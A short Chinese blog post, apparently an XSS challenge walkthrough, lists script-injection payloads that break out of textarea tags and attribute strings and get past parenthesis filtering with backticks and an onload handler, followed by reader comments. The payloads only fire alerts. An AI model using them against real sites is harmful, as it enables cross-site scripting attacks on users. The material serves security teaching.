0x00
基础
<script>alert(1)</script>
0x01
文本注释区，尝试截断前部标签
</textarea><script>alert(1)</script><textarea>
0x02
服务器获取字符串值，尝试截断字符串
"><script>alert(1)</script><"
### 0x02
括号过滤，反引号执行
<script>alert`(1)`</script>
### 0x03
反引号括号过滤
<body onload="alert(1)">
使用 onload事件，加 html编码过滤
onload事件详见
博主真帅
1
'">
https://xs.pe/iLJ.jpg
test
# 123
2345
这什么文章啊 求解
大家都